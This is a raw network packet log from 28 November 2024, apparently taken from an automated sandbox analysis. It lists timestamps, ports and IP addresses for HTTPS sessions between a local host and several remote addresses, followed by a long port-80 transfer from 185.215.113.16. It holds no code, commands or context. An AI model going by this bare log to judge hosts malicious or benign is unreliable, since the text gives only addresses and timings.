Nov 28, 2024 13:09:14.574193001 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:14.574584961 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:14.628117085 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:15.298724890 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:15.298829079 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:15.298897982 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:15.299032927 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:15.299052954 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:15.757807016 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:15.757862091 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:15.758003950 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:15.758609056 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:15.758624077 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:16.145533085 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:16.187333107 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759774923 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759800911 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759809017 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759819031 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759831905 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759840012 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759857893 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:16.759880066 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.759900093 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:16.759929895 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:16.779369116 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.779434919 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:16.779459953 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.779473066 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:16.779514074 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:17.019853115 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:17.019999981 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:17.021378040 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:17.021389008 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:17.021630049 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:17.022840977 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:17.022968054 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:17.022968054 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:17.023000956 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:18.655587912 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:18.655626059 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:18.655639887 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:18.655647993 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:26.051251888 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:26.051362991 CET	443	49736	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:26.051497936 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:26.051561117 CET	49736	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:26.261908054 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:26.261969090 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:26.262044907 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:26.262389898 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:26.262407064 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:27.478791952 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:27.478895903 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:27.557364941 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:27.557391882 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:27.557693005 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:27.567140102 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:27.567260981 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:27.567286015 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:27.568566084 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:27.568577051 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:35.961131096 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:35.961249113 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:35.961302996 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:35.961433887 CET	49741	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:35.961456060 CET	443	49741	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:36.348103046 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:36.348155022 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:36.348251104 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:36.348614931 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:36.348629951 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:37.561223984 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:37.561300039 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:37.562818050 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:37.562830925 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:37.563067913 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:37.564424992 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:37.564527035 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:37.564532042 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:43.258388042 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:43.258493900 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:43.258553028 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:43.258639097 CET	49742	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:43.258658886 CET	443	49742	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:43.691890001 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:43.691960096 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:43.692168951 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:43.692364931 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:43.692378998 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:44.996074915 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:44.996165991 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.039577007 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.039618969 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.039896965 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.044460058 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.046137094 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.046179056 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.046292067 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.046325922 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.046454906 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.046499014 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.046655893 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.046683073 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.046843052 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.046884060 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.047068119 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.047106981 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.047121048 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.047296047 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.047333956 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.087335110 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.087570906 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.087625980 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.087658882 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.135324001 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.135535955 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.135587931 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.135624886 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.179338932 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.179482937 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:45.223344088 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:45.287693977 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:50.538467884 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:50.538577080 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:50.538652897 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:50.606090069 CET	49743	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:50.606121063 CET	443	49743	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:50.795345068 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:50.795373917 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:50.795439959 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:50.795833111 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:50.795845985 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.054896116 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.055001974 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:52.056272030 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:52.056294918 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.056550980 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.057785034 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:52.057843924 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:52.057868004 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.792289019 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.792387009 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.792434931 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:52.792592049 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:52.792608976 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.792620897 CET	49744	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:52.792627096 CET	443	49744	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:52.794110060 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:52.914084911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:52.914191008 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:52.914433002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:53.034373045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.082098961 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:54.082130909 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:54.082231998 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:54.082539082 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:54.082552910 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:54.245651007 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.245667934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.245728970 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.246310949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.246396065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.246407032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.246459007 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.247519016 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.247565031 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.247565985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.247577906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.247620106 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.248703003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.248841047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.248881102 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.365729094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.365890026 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.365936995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.369874954 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.376686096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.376760006 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.376766920 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.424793005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.438690901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.438802004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.438884020 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.442869902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.444483042 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.444536924 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.444570065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.452840090 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.452941895 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.453007936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.461307049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.461427927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.461491108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.469643116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.469734907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.469805002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.478164911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.478347063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.478403091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.486494064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.486608028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.486690044 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.494875908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.494996071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.495054007 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.503308058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.503477097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.503546000 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.511698008 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.511745930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.511908054 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.610999107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.611162901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.611244917 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.615063906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.630789042 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.631067038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.631258011 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.632930994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.633050919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.633106947 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.637343884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.637413025 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.637465954 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.641836882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.641961098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.642014027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.645986080 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.646063089 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.646090984 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.650298119 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.650404930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.650458097 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.654575109 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.654655933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.654707909 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.658993006 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.659089088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.659146070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.663237095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.663317919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.663383961 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.667473078 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.667597055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.667659044 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.671756029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.671875000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.671927929 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.676120996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.676181078 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.676240921 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.680326939 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.680476904 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.680547953 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.684669971 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.684757948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.684828997 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.689029932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.689116955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.689217091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.693279982 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.693373919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.697180033 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.697622061 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.697694063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.701286077 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.701797962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.701872110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.705513000 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.706108093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.706367970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.709597111 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.731332064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.731369019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.731415033 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.733413935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.784146070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.802792072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.802819014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.802882910 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.803922892 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.804003000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.805191040 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.807987928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.808079004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.808341980 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.822809935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.822870970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.822923899 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.824676037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.825368881 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.825417995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.825603008 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.829201937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.829282999 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.829340935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.832942963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.833003998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.833009005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.836445093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.836522102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.836585045 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.839967966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.840013027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.840049982 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.843446016 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.843494892 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.843513012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.846843958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.846894026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.846946955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.850272894 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.850383043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.850440025 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.853655100 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.853729963 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.853763103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.857244968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.857356071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.857412100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.860558033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.860658884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.860665083 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.862567902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.862613916 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.862749100 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.864723921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.864793062 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.864890099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.866770029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.866813898 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.866883039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.868937016 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.869072914 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.869153023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.870888948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.871038914 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.871098042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.872976065 CET	80	49745	185.215.113.16	192.168.2.4
